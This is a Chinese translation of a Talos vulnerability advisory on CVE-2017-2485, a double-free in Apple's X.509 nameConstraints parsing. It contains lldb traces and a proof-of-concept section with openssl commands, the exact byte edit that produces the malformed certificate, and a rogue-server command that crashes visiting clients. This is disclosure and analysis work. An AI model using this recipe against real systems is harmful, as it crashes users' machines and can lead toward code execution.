[CVE-2017-2485]Apple MacOS和iOS的X.509证书远程代码执行漏洞

漏洞概述

Cisco Talos的Aleksandar Nikolic发现了TALOS -2017-0296(CVE-2017-2485)。此漏洞的原因在于处理X.509v3证书扩展字段时的不当。特制的X.509证书可能会触发此漏洞,并可能导致在受影响的系统上执行远程代码。

漏洞详情

  • 漏洞编号:CVE-2017-2485

苹果MacOS Sierra(10.12.3版本和10.12.4公开测试版)和iOS 10.2.1中的x509证书验证功能存在一个可以利用的远程代码执行漏洞。为了触发此漏洞,受害者需要访问带有恶意软件证书的HTTPS网站或其他服务器,或者点击一个带有malicios证书的文件。

影响范围

  • 漏洞风险:攻击者使用恶意制作的x509证书可能导致任意代码执行
  • 影响版本:Apple macOS 10.12.3/10.12.4 beta和Apple iOS 10.2.1

漏洞分析

当客户端与服务器建立安全连接时,服务器会呈现客户端必须验证的x509证书。在Apple macOS中,大多数客户端应用程序使用macOS的证书验证代理,此时恶意证书将被易受攻击的代码解析。可以通过例如Safari或Chrome访问HTTPS网站,通过Mail.app连接到恶意邮件服务器,或者通过在finder中双击导入证书来触发此漏洞。

此漏洞存在于负责解析x509v3证书扩展字段的nameConstraints代码中。在x509证书中,nameConstraints存储为通用子树(RFC 5280),并在解析它们时,库/System/Library/Frameworks/Security.framework/Versions/A/Security中的函数parseGeneralSubtrees被调用:

在[1]时,DER序列解码开始,新的存储缓冲区被分配到[2]并保存在寄存器中的r15。在[3]中,执行实际解码,如果失败,结束于loc_971A8,然后在[4],指向分配的内存指针被保存在该证书分配的结构[rbx]内。因为[3]的调用失败,[4]的检查将不会被执行,并且内存缓冲区会在[5]时立即释放。这是一个陈旧的指针留在[rbx]第一次释放。由于此指针不为NULL,因此可以重新使用该指针,导致进程崩溃和进一步未定义的行为。使用提供的PoC证书,该过程将再次尝试释放已经释放的内存区域,同时在调用Security函数的 SecCertificateDestroy 时释放所有证书解析相关结构。

这可以在以下调试会话中观察到:

(lldb) settings set target.env-vars DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib
(lldb) command script import lldb.macosx.heap
"malloc_info", "ptr_refs", "cstr_refs", "find_variable", and "objc_refs" commands have been installed, use
 the "--help" options on these commands for detailed help.
(lldb) b parseGeneralSubtrees
Breakpoint 4: where = Security`parseGeneralSubtrees, address = 0x00007fff824b8061
(lldb) r verify-cert -c poc.der
There is a running process, kill it and restart?: [Y/n] Y
Process 2461 exited with status = 9 (0x00000009)
Process 2470 launched: '/usr/bin/security' (x86_64)
GuardMalloc[security-2470]: Allocations will be placed on 16 byte boundaries.
GuardMalloc[security-2470]: - Some buffer overruns may not be noticed.
GuardMalloc[security-2470]: - Applications using vector instructions (e.g., SSE) should work.
GuardMalloc[security-2470]: version 109
security(2470,0x7fff9a8263c0) malloc: stack logs being written into /tmp/stack-logs.2470.1000f0000.security.
ANmHIl.index
security(2470,0x7fff9a8263c0) malloc: recording malloc and VM allocation stacks to disk using standard 
recorder security(2470,0x7fff9a8263c0) malloc: process 2461 no longer exists, stack logs deleted from 
/tmp/stack-logs.2461.1000f0000.security.bTHK4Z.index
Stop reason : breakpoint 3.1
Process 2470 stopped
* thread #1: tid = 0x22c34, 0x00007fff824225ee Security`SecCertificateCreateWithData + 46, 
、queue = 'com.apple.main-thread', stop reason = breakpoint 3.1
 frame #0: 0x00007fff824225ee Security`SecCertificateCreateWithData + 46
(lldb) disassemble -s 0x7fff824b80ac-5
Security`parseGeneralSubtrees:
 0x7fff824b80a7 <+70>: call 0x7fff82678a10 ; symbol stub for: CFArrayCreateMutable
 0x7fff824b80ac <+75>: mov r15, rax
 0x7fff824b80af <+78>: test r15, r15
 0x7fff824b80b2 <+81>: je 0x7fff824b81ce ; <+365>
 0x7fff824b80b8 <+87>: lea rdi, [rbp - 0x38]
 0x7fff824b80bc <+91>: lea rsi, [rbp - 0x50]
 0x7fff824b80c0 <+95>: call 0x7fff82612976 ; DERDecodeSeqNext
(lldb) c
Process 2470 resuming
Stop reason : breakpoint 1.1 4.1
Process 2470 stopped
* thread #1: tid = 0x22c34, 0x00007fff824b8061 Security`parseGeneralSubtrees, 
queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 4.1
 frame #0: 0x00007fff824b8061 Security`parseGeneralSubtrees

上面,我们在函数parseGeneralSubtrees和调用CFArrayCreateMutable中设置了一个断点,所以我们可以看到我们的内存被分配到哪里。

(lldb) c
Process 2470 resuming
Stop reason : breakpoint 5.1
Process 2470 stopped
* thread #1: tid = 0x22c34, 0x00007fff824b80ac Security`parseGeneralSubtrees + 75, 
queue = 'com.apple.main-thread', stop reason = breakpoint 5.1
 frame #0: 0x00007fff824b80ac Security`parseGeneralSubtrees + 75
(lldb) malloc_info -s $rax
0x0000000101687fd0: malloc( 48) -> 0x101687fd0 __NSArrayM.NSMutableArray.NSArray.NSObject.isa
stack[0]: addr = 0x101687fd0, type=malloc, frames:
 [0] 0x00007fff91a93d7f libsystem_malloc.dylib`calloc + 30
 [1] 0x00007fff9101be9d libobjc.A.dylib`class_createInstance + 88
 [2] 0x00007fff7c121f6f CoreFoundation`__CFAllocateObject2 + 15
 [3] 0x00007fff7c297b71 CoreFoundation`+[__NSArrayM __new:::] + 33
 [4] 0x00007fff824b80ac Security`parseGeneralSubtrees + 75
 [5] 0x00007fff824b7648 Security`SecCEPNameConstraints + 75
 [6] 0x00007fff824b1f2f Security`SecCertificateParse + 1574
 [7] 0x00007fff8242263d Security`SecCertificateCreateWithData + 125
 [8] 0x00007fff824740c4 Security`SecCertificateCreateFromData + 82
 [9] 0x0000000100014cea security`___lldb_unnamed_symbol134$$security + 207
 [10] 0x0000000100016fae security`___lldb_unnamed_symbol147$$security + 18
 [11] 0x0000000100016a90 security`___lldb_unnamed_symbol146$$security + 800
 [12] 0x000000010001339a security`___lldb_unnamed_symbol118$$security + 270
 [13] 0x0000000100012efb security`___lldb_unnamed_symbol117$$security + 422
 [14] 0x00007fff9190f235 libdyld.dylib`start + 1
 [15] 0x00007fff9a8263c1 libsystem_pthread.dylib`_thread + 1

我们可以看到,48大小的堆块被分配到0x101687fd0,然后直到DERDecodeSeqNext呼叫返回:

(lldb) b 0x7fff824b80c5
Breakpoint 6: where = Security`parseGeneralSubtrees + 100, address = 0x00007fff824b80c5
(lldb) disassemble -s 0x7fff824b80c5-5
Security`parseGeneralSubtrees:
 0x7fff824b80c0 <+95>: call 0x7fff82612976 ; DERDecodeSeqNext
 0x7fff824b80c5 <+100>: mov r14d, eax
 0x7fff824b80c8 <+103>: test r14d, r14d
 0x7fff824b80cb <+106>: jne 0x7fff824b81a8 ; <+327>
 0x7fff824b80d1 <+112>: lea rax, [rip + 0x1d1f20] ; DERNumGeneralSubtreeItemSpecs
 0x7fff824b80d8 <+119>: movzx eax, word ptr [rax]
 0x7fff824b80db <+122>: movzx eax, ax
(lldb) register read rax
 rax = 0x0000000000000003

我们可以观察到3的返回值。这将跳出循环,最后在代码中保存指针[rbx],然后释放它:

(lldb) b 0x7fff824b81a8
Breakpoint 7: where = Security`parseGeneralSubtrees + 327, address = 0x00007fff824b81a8
(lldb) disassemble -s 0x7fff824b81a8
Security`parseGeneralSubtrees:
 0x7fff824b81a8 <+327>: mov rdi, qword ptr [rbx]
 0x7fff824b81ab <+330>: test rdi, rdi
 0x7fff824b81ae <+333>: je 0x7fff824b81b5 ; <+340>
 0x7fff824b81b0 <+335>: call 0x7fff82678d0a ; symbol stub for: CFRelease
 0x7fff824b81b5 <+340>: mov qword ptr [rbx], r15
 0x7fff824b81b8 <+343>: cmp r14d, 0x1
 0x7fff824b81bc <+347>: je 0x7fff824b81ce ; <+365>
 0x7fff824b81be <+349>: jmp 0x7fff824b81c3 ; <+354>
 0x7fff824b81c0 <+351>: xor r14d, r14d
 0x7fff824b81c3 <+354>: mov rdi, r15
(lldb) b 0x7fff824b81b5
Breakpoint 8: where = Security`parseGeneralSubtrees + 340, address = 0x00007fff824b81b5
(lldb) register read r14
 r14 = 0x0000000000000003
(lldb) disassemble -s $pc
Security`parseGeneralSubtrees:
-> 0x7fff824b81c6 <+357>: call 0x7fff82678d0a ; symbol stub for: CFRelease
 0x7fff824b81cb <+362>: mov r12d, r14d
 0x7fff824b81ce <+365>: mov eax, r12d
 0x7fff824b81d1 <+368>: add rsp, 0x78
 0x7fff824b81d5 <+372>: pop rbx
 0x7fff824b81d6 <+373>: pop r12
 0x7fff824b81d8 <+375>: pop r13
 0x7fff824b81da <+377>: pop r14
 0x7fff824b81dc <+379>: pop r15
 0x7fff824b81de <+381>: pop rbp
 0x7fff824b81df <+382>: ret

内存现在是释放的,但是剩下一个陈旧的指针。继续该过程将导致以下崩溃:

(lldb) c
Process 2476 resuming
Stop reason : EXC_BAD_ACCESS (code=1, address=0x1014a6fd0)
Process 2476 stopped
* thread #1: tid = 0x22fbf, 0x00007fff7c128b4b CoreFoundation`CFRelease + 11, queue = 'com.apple.main-thread',
 stop reason = EXC_BAD_ACCESS (code=1, address=0x1014a6fd0)
 frame #0: 0x00007fff7c128b4b CoreFoundation`CFRelease + 11
(lldb) bt
* thread #1: tid = 0x22fbf, 0x00007fff7c128b4b CoreFoundation`CFRelease + 11, queue = 'com.apple.main-thread', 
stop reason = EXC_BAD_ACCESS (code=1, address=0x101687fd0)
 * frame #0: 0x00007fff7c128b4b CoreFoundation`CFRelease + 11
 frame #1: 0x00007fff824b171d Security`SecCertificateDestroy + 298
 frame #2: 0x00007fff7c2701a3 CoreFoundation`_CFRelease + 291
 frame #3: 0x00007fff7c297f9b CoreFoundation`-[__NSSingleObjectArrayI dealloc] + 43
 frame #4: 0x00007fff824c351e Security`SecTrustDestroy + 59
 frame #5: 0x00007fff7c2701a3 CoreFoundation`_CFRelease + 291
 frame #6: 0x0000000100016d76 security`___lldb_unnamed_symbol146$$security + 1542
 frame #7: 0x000000010001339a security`___lldb_unnamed_symbol118$$security + 270
 frame #8: 0x0000000100012efb security`___lldb_unnamed_symbol117$$security + 422
 frame #9: 0x00007fff9190f235 libdyld.dylib`start + 1
 frame #10: 0x00007fff9190f235 libdyld.dylib`start + 1
(lldb) disassemble -s $pc
CoreFoundation`CFRelease:
-> 0x7fff7c128b4b <+11>: mov rax, qword ptr [rdi]
 0x7fff7c128b4e <+14>: test rax, rax
 0x7fff7c128b51 <+17>: je 0x7fff7c128b8a ; <+74>
 0x7fff7c128b53 <+19>: cmp rax, qword ptr [rip + 0x1b094ade] ; __CFConstantStringClassReferencePtr
 0x7fff7c128b5a <+26>: je 0x7fff7c128b8a ; <+74>
 0x7fff7c128b5c <+28>: mov ecx, 0xa08
 0x7fff7c128b61 <+33>: bextr ecx, dword ptr [rdi + 0x8], ecx
(lldb) register read rdi
 rdi = 0x0000000101687fd0
(lldb)

崩溃是由于使用libgmalloc的标记来释放内存不可读和不可写:

(lldb) memory region $rdi
[0x00000001014a6fd0-0x00000001014a8000) ---
(lldb)

如果我们从苹果公司查询有关DER解析功能的开源代码,我们可以看到DERDecodeSeqNext将在[3]处解码错误(DR_DecodeError枚举是精确的),因此为了触发此漏洞,需要一个无效的nameConstraints特制x509证书。

进一步操纵内存中的证书布局可能会导致其他结构在释放的块中分配,从而导致进一步的未定义行为和最终的远程代码执行。

当在Finder中双击一个PoC崩溃证书时,它将被添加到keychain并在尝试解析时崩溃。这将继续使com.apple.trustd代理崩溃,effectively rendering使系统无法使用,无法连接到任何SSL/TLS服务器。

崩溃信息如下:

QQ图片20170329153436 QQ图片20170329153448

利用概念证明

触发此漏洞的证书可以通过修改openssl添加扩展名到配置文件生成的样本证书来创建:

[ v3_req ]
nameConstraints=permitted;email:.somedomain.com

然后执行以下命令:

openssl req -x509 -newkey rsa:1024 -keyout key.pem -out cert.pem -days 365 -nodes -extensions req_v3 
-config /etc/ssl/openssl.cnf
openssl x509 -text -inform PEM -outform DER < cert.pem > poc.der

并修改nameConstraints序列解码的失败,例如:

000001b0: 3015 a013 3011 810f 2e73 6f6d 6564 6f6d  0...0....somedom
000001c0: 6169 6e2e 636f 6d30 0d06 092a 8648 86f7  ain.com0...*.H..

变成:

000001b0: 3015 a013 30ff 810f 2e73 6f6d 6564 6f6d  0...0....somedom
000001c0: 6169 6e2e 636f 6d30 0d06 092a 8648 86f7  ain.com0...*.H..

崩溃可以通过/usr/bin/security的以下方式证明:

bash-3.2$ /usr/bin/security verify-cert -c poc.der
Cert Verify Result: CSSMERR_TP_NOT_TRUSTED
Segmentation fault: 11
bash-3.2$

或者创建一个伪造的网络服务器并通过浏览器访问:

openssl s_server -cert poc.der  -certform DER  -key key.pem -accept 44330 -www -dhparam dHParam.pem

浏览器访问时会导致:

mac com.apple.xpc.launchd[1] (com.apple.WebKit.Networking.FE2D7E71-2AAE-4092-9726-5ADB4EB8FF3A[909]):
 Service exited due to signal: Segmentation fault: 11 sent by exc handler[0]
mac com.apple.xpc.launchd[1] (com.apple.ReportCrash[2515]): Endpoint has been activated through
 legacy launch(3) APIs. Please switch to XPC or bootstrap_check_in(): com.apple.ReportCrash

修复建议

更新系统版本到已修复的版本。

参考

http://blog.talosintelligence.com/2017/03/apple-x509.html

http://www.talosintelligence.com/reports/TALOS-2017-0296/

https://support.apple.com/en-us/HT207615

 

*参考:talosintelligence,MottoIN小编编译发布,转载请注明来自MottoIN

原创文章,作者:Stbird,如若转载,请注明出处:http://www.mottoin.com/vuls/99322.html

发表评论

登录后才能评论

联系我们

021-62666911

在线咨询:点击这里给我发消息

邮件:root@mottoin.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code